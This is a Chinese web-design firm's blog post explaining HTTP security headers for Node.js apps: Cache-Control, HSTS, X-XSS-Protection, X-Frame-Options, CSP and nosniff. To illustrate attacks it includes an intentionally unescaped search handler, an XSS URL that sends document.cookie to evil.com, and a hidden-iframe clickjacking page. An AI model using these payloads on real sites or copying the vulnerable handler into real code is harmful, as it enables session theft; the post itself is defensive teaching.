潮州网站建设:如何使用HTTP标头保护您的Web应用程序

2019.08.13 mf_web

66

可以利用HTTP响应标头来加强Web应用程序的安全性,通常只需添加几行代码即可。在本文中,我们将展示Web开发人员如何使用HTTP标头构建安全应用程序。虽然代码示例适用于Node.js,但所有主要服务器端呈现平台都支持设置HTTP响应头,并且通常很容易设置。

关于HTTP标头

潮州网站建设从技术上讲,HTTP标头只是以明文编码的字段,它们是HTTP请求和响应消息头的一部分。它们旨在使HTTP客户端和服务器能够发送和接收有关要建立的连接,请求的资源以及返回的资源本身的元数据。

可以使用cURL轻松检查纯文本HTTP响应标头,使用–head选项,如下所示:

$ curl --head https://www.google.comHTTP/1.1 200 OKDate: Thu, 05 Jan 2017 08:20:29 GMTExpires: -1Cache-Control: private, max-age=0Content-Type: text/html; charset=ISO-8859-1Transfer-Encoding: chunkedAccept-Ranges: noneVary: Accept-Encoding…
复制

今天,网络应用程序使用了数百个标题,其中一些是由互联网工程任务组(IETF)标准化的,这是一个开放式组织,它支持我们今天所知的许多支持Web的标准,以及一些专有标准。HTTP标头提供了一种灵活且可扩展的机制,可以实现当今Web上丰富多变的用例。

禁用缓存机密资源

缓存是优化客户端 - 服务器体系结构性能的有效且有效的技术,而且广泛利用缓存的HTTP也不例外。但是,如果缓存的资源是机密的,缓存可能会导致漏洞 - 必须避免。例如,考虑一个Web应用程序,它使用敏感信息呈现和缓存页面,并在共享PC上使用。任何人都可以通过访问浏览器的缓存来查看该Web应用程序呈现的机密信息,有时甚至可以像点击浏览器的“后退”按钮一样轻松!

IETF的RFC 7234定义了HTTP缓存,它指定HTTP客户端(浏览器和中间Internet代理)的默认行为,以始终缓存对HTTP GET请求的响应- 除非另有说明。虽然这使HTTP能够提高性能并减少网络拥塞,但它也可能使最终用户暴露个人信息,如上所述。好消息是HTTP规范还定义了一种非常简单的方法来指示客户端不要缓存给定的响应,通过使用 - 你猜对了! - HTTP响应标头。

当您返回敏感信息并希望禁用HTTP客户端的缓存时,有三个标头要返回:

  • Cache-ControlHTTP 1.1中引入的此响应头可能包含一个或多个指令,每个指令都带有特定的缓存语义,并指示HTTP客户端和代理如何处理由头标注的响应。我的建议是按如下方式格式化标题:cache-control: no-cache, no-store, must-revalidate。这三个指令几乎指示客户端和中间代理不使用先前缓存的响应,而不是存储响应,即使响应以某种方式缓存,也必须在源服务器上重新验证缓存。

  • Pragma: no-cache为了与HTTP 1.0向后兼容,您还需要包含此标头。某些HTTP客户端,尤其是中间代理,仍然可能不完全支持HTTP 1.1,因此无法正确处理上述Cache-Control标头。使用Pragma: no-cache,以确保这些旧客户端不缓存你的回应。

  • Expires: -1此标头指定一个时间戳,在该时间戳之后,响应被视为过时。通过指定-1而不是实际的未来时间,您可以确保客户端立即将此响应视为过时并避免缓存。

请注意,虽然禁用缓存可以增强Web应用程序的安全性并有助于保护机密信息,但确实会以性能损失为代价。确保仅针对实际需要机密性的资源禁用缓存,而不仅仅针对服务器呈现的任何响应!为了更深入地了解缓存Web资源的最佳实践,我强烈建议阅读Jake Archibald关于该主题的帖子。

以下是在Node.js中编写这些头文件的方法:

function requestHandler(req, res) {
    res.setHeader('Cache-Control','no-cache,no-store,max-age=0,must-revalidate');
    res.setHeader('Pragma','no-cache');
    res.setHeader('Expires','-1');}
复制

执行HTTPS

今天,HTTPS的重要性得到了技术界的广泛认可。越来越多的Web应用程序配置安全端点,并将不安全流量重定向到安全端点(即HTTP到HTTPS重定向)。不幸的是,最终用户还没有完全理解HTTPS的重要性,而这种缺乏理解使他们暴露于各种中间人(MitM)攻击。典型用户导航到Web应用程序时不必过多关注正在使用的协议,无论是安全(HTTPS)还是不安全(HTTP)。此外,许多用户只会在浏览器出现证书错误或警告时单击过去的浏览器警告!

通过有效的HTTPS连接与Web应用程序交互的重要性不容小觑:不安全的连接会使用户暴露于各种攻击,这可能导致cookie被盗或更糟。例如,攻击者在公共Wi-Fi网络中欺骗网络帧并提取未使用HTTPS的用户的会话cookie并不是很困难。更糟糕的是,即使通过安全连接与Web应用程序交互的用户也可能会面临降级攻击,这会降低连接被降级为不安全的连接,从而使用户暴露于MitM攻击。

我们如何帮助用户避免这些攻击并更好地强制使用HTTPS?输入HTTP严格传输安全性(HSTS)标头。简而言之,HSTS确保与源主机的所有通信都使用HTTPS。HSTS 在RFC 6797中指定,使Web应用程序能够指示浏览器仅允许与源主机的HTTPS连接,在内部将所有不安全流量重定向到安全连接,并自动升级所有不安全资源请求以确保安全。

HSTS指令包括以下内容:

  • max-age=<number of seconds>这指示浏览器为此域缓存指定秒数的此标头。这可以确保长时间的安全性!

  • includeSubDomains这指示浏览器为当前域的所有子域应用HSTS。这可用于涵盖您可能拥有的所有当前和未来子域。

  • preload这是一个强大的指令,迫使浏览器始终安全地加载您的Web应用程序,即使在第一次打击时,甚至在收到响应之前!这可以通过将支持HSTS预启动的域列表硬编码到浏览器的代码中来实现。要启用预加载功能,您需要使用HSTS预加载列表提交注册您的域,这是由Google Chrome团队维护的网站。注册后,域将被预先构建到支持的浏览器中以始终强制执行HSTS。HTTP响应头中的preload指令用于确认注册,表明Web应用和域所有者确实对预加载列表感兴趣。

需要注意的是:使用该preload指令也意味着它不能轻易撤消,并且需要几个月的更新提前期!虽然preload肯定会提高应用程序的安全性,但这也意味着您需要完全确信您的应用程序只能支持HTTPS!

我的建议是使用Strict-Transport-Security: max-age=31536000; includeSubDomains;指示浏览器强制实施与源主机和所有子域的有效HTTPS连接一年。如果您确信您的应用程序只能处理HTTPS,我还建议您添加该preload指令,在这种情况下,请不要忘记在预装列表中注册您的网站,如上所述!

这是在Node.js中实现HSTS的样子:

function requestHandler(req, res) {
    res.setHeader('Strict-Transport-Security','max-age=31536000; includeSubDomains; preload');}
复制

启用XSS过滤

在反映的跨站点脚本攻击(反映的XSS)中,攻击者将恶意JavaScript代码注入HTTP请求,注入的代码在响应中“反映”并由浏览器执行呈现响应,使恶意代码在可信上下文,访问可能的机密信息,如会话cookie。不幸的是,XSS是一种非常常见的Web应用程序攻击,而且是一种非常有效的攻击!

要了解反映的XSS攻击,请考虑下面的Node.js代码,渲染mywebapp.com,这是一个模拟且简单易用的Web应用程序,可将搜索结果与用户请求的搜索词一起呈现:

function handleRequest(req, res) {
    res.writeHead(200);
    // Get the search term
    const parsedUrl = require('url').parse(req.url);
    const searchTerm = decodeURI(parsedUrl.query);
    const resultSet = search(searchTerm);
    // Render the document
    res.end(
        "<html>" +
            "<body>" +
                "<p>You searched for: " + searchTerm + "</p>" +
                // Search results rendering goes here…
            "</body>" +
        "</html>");};
复制

现在,考虑上面的Web应用程序将如何处理由URL中嵌入的恶意可执行代码构成的URL,例如:

https://mywebapp.com/search?</p><script>window.location=“http://evil.com?cookie=”+document.cookie</script>
复制

您可能已经意识到,此URL将使浏览器运行注入的脚本并将用户的cookie(可能包括机密会话cookie)发送到evil.com!

为了帮助保护用户免受反射XSS攻击,一些浏览器已经实现了保护机制。这些机制试图通过在HTTP请求和响应中查找匹配的代码模式来识别这些攻击。Internet Explorer是第一个使用其XSS过滤器引入此机制的浏览器,在2008年在Internet Explorer 8中引入,WebKit后来推出了XSS Auditor,现在可在Chrome和Safari中使用。(Firefox没有内置的类似机制,但用户可以使用附加组件来获得此功能。)这些不同的保护机制并不完美:它们可能无法检测到真正的XSS攻击(假阴性),在其他情况下可能阻止合法代码(误报)。由于后者,浏览器允许用户通过设置禁用XSS过滤器。不幸的是,这通常是全球性的,

幸运的是,Web应用程序有一种方法可以覆盖此配置,并确保为浏览器加载的Web应用程序启用XSS筛选器。这是通过X-XSS-Protection标题完成的。此标头由Internet Explorer(来自版本8),Edge,Chrome和Safari支持,指示浏览器打开或关闭浏览器的内置保护机制并覆盖浏览器的本地配置。

X-XSS-Protection 指令包括:

  • 1或者0这将启用或禁用过滤器。

  • mode=block 这指示浏览器在检测到XSS攻击时阻止整个页面呈现。

我建议始终打开XSS过滤器以及块模式,以最大限度地保护用户。这样的响应头看起来像这样:

X-XSS-Protection: 1; mode=block
复制

以下是在Node.js中配置此响应头的方法:

function requestHandler(req, res) {
    res.setHeader('X-XSS-Protection','1;mode=block');}
复制

控制框架

iframe(或HTML内联框架元素,如果您想要更正式)是一个DOM元素,它允许Web应用程序嵌套在父Web应用程序中。这个强大的元素支持一些重要的Web用例,例如将第三方内容嵌入到Web应用程序中,但它也有明显的缺点,例如不适合搜索引擎优化而且不适合浏览器导航 - 列表还在继续。

iframe的一个警告是它使点击劫持变得更容易。点击劫持是一种攻击,可诱使用户点击与他们认为点击的内容不同的内容。要了解点击劫持的简单实现,请考虑下面的HTML标记,当他们认为他们点击赢得奖品时,会试图欺骗用户购买烤面包机!

<html>
  <body>
    <button class='some-class'>Win a Prize!</button>
    <iframe class='some-class' style='opacity: 0;’ src='http://buy.com?buy=toaster'></iframe>
  </body></html>
复制

Clickjacking有许多恶意应用程序,例如欺骗用户确认Facebook,在线购买商品甚至提交机密信息。恶意网络应用可以通过在其恶意网络应用中嵌入合法网络应用来利用iframe进行点击劫持,使用opacity: 0CSS规则呈现iframe不可见,并将iframe的点击目标直接放置在恶意网络应用呈现的无辜按钮上。点击无辜的按钮的用户将触发嵌入式Web应用程序的点击 - 完全不知道他们的点击效果。

阻止此攻击的有效方法是限制您的Web应用程序被框架化。X-Frame-Options在RFC 7034中指定,旨在完成这一切!此标头指示浏览器对您的Web应用程序是否可嵌入其他网页应用限制,从而阻止恶意网页诱使用户调用您的Web应用程序上的各种事务。您可以使用DENY指令完全阻止框架,使用该指令将特定域ALLOW-FROM列入白名单,或者使用该指令仅将Web应用程序的源列入白名单SAMEORIGIN。

我的建议是使用该SAMEORIGIN指令,该指令允许iframe被用于同一域上的应用程序 - 这可能有时很有用 - 并且可以保持安全性。此推荐标头如下所示:

X-Frame-Options: SAMEORIGIN
复制

以下是此标头配置的示例,以便在Node.js中的同一源上启用框架:

function requestHandler(req, res) {
    res.setHeader('X-Frame-Options','SAMEORIGIN');}
复制

显式白名单来源

正如我们之前提到的,您可以通过启用浏览器的XSS过滤器为您的Web应用添加深入的安全性。但请注意,此机制有限,并非所有浏览器都支持(例如,Firefox没有XSS过滤器),并且依赖于可以欺骗的模式匹配技术。

通过明确地将可信来源和操作列入白名单,可以实现针对XSS和其他攻击的另一层深层保护 - 这就是内容安全策略(CSP)使Web应用程序开发人员能够做到的。

CSP是一种W3C规范,它定义了一个功能强大的基于浏览器的安全机制,可以对Web应用程序中的资源加载和脚本执行进行精细控制。使用CSP,您可以将特定域列入白名单,以进行脚本加载,AJAX调用,图像加载和样式表加载等操作。您可以eval通过将特定域列入白名单来启用或禁用内联脚本或动态脚本(臭名昭着)并控制框架。CSP的另一个很酷的功能是它允许您配置实时报告目标,以便您可以实时监控您的应用程序以进行CSP阻止操作。

这种明确的资源加载和执行白名单提供了深入的安全性,在许多情况下可以抵御攻击。例如,通过使用CSP禁止内联脚本,您可以抵御许多依赖于将内联脚本注入DOM的反射XSS攻击变体。

CSP是一个相对复杂的标题,有很多指令,我不会详细介绍各种指令。HTML5 Rocks有一个很棒的教程,提供了CSP的概述,我强烈建议您阅读它并学习如何在您的Web应用程序中使用CSP。

下面是一个简单的CSP配置示例,它允许仅从应用程序的源代码加载脚本,并阻止动态脚本执行(eval)和内联脚本(像往常一样,在Node.js上):

function requestHandler(req, res) {
    res.setHeader('Content-Security-Policy',"script-src 'self'");}
复制

防止内容类型嗅探

为了尽可能地使用户体验尽可能无缝,许多浏览器都实现了一种称为内容类型嗅探或MIME嗅探的功能。此功能使浏览器能够通过“嗅探”实际资源位来检测作为HTTP响应的一部分提供的资源的类型,而不管通过Content-Type响应头声明的资源类型。虽然此功能在某些情况下确实很有用,但它引入了一个漏洞和一种称为MIME混淆攻击的攻击媒介。MIME嗅探漏洞使攻击者能够注入恶意资源,例如恶意可执行脚本,伪装成无辜的资源,例如图像。使用MIME嗅探,浏览器将忽略声明的图像内容类型,而不是呈现图像将执行恶意脚本。

幸运的是,X-Content-Type-Options响应头可以缓解此漏洞!此标头在2008年在Internet Explorer 8中引入,目前大多数主流浏览器支持(Safari是唯一不支持它的主要浏览器),它指示浏览器在处理获取的资源时不要使用嗅探。因为X-Content-Type-Options只是正式指定为“获取”规范的一部分,所以实际的实现因浏览器而异; 一些(Internet Explorer和Edge)完全避免MIME嗅探,而其他(Firefox)仍然是MIME嗅探,而是在检测到声明和实际类型之间的不一致时阻止可执行资源(JavaScript和CSS)。后者符合最新的Fetch规范。

X-Content-Type-Options是一个简单的响应头,只有一个指令:nosniff。这个标题看起来像这样:X-Content-Type-Options: nosniff。以下是标头配置的示例:

function requestHandler(req, res) {
    res.setHeader('X-Content-Type-Options','nosniff');}
复制

摘要

在本文中,我们已经了解了如何利用HTTP标头来增强Web应用程序的安全性,抵御攻击并缓解漏洞。

小贴士

  • 使用Cache-Control标头禁用缓存机密信息。

  • 使用Strict-Transport-Security标头强制执行HTTPS ,并将您的域添加到Chrome的预加载列表中。

  • 通过利用X-XSS-Protection标题,使您的Web应用程序对XSS更加强大。

  • 使用X-Frame-Options标题阻止点击劫持。

  • 利用Content-Security-Policy特定来源和端点的白名单。

  • 使用X-Content-Type-Options标头防止MIME嗅探攻击。

潮州网站建设请记住,为了使网络真正令人敬畏和引人入胜,它必须是安全的。利用HTTP标头构建更安全的Web!


最新案例

寒枫总监

来电咨询

400-6065-301

微信咨询

寒枫总监

TOP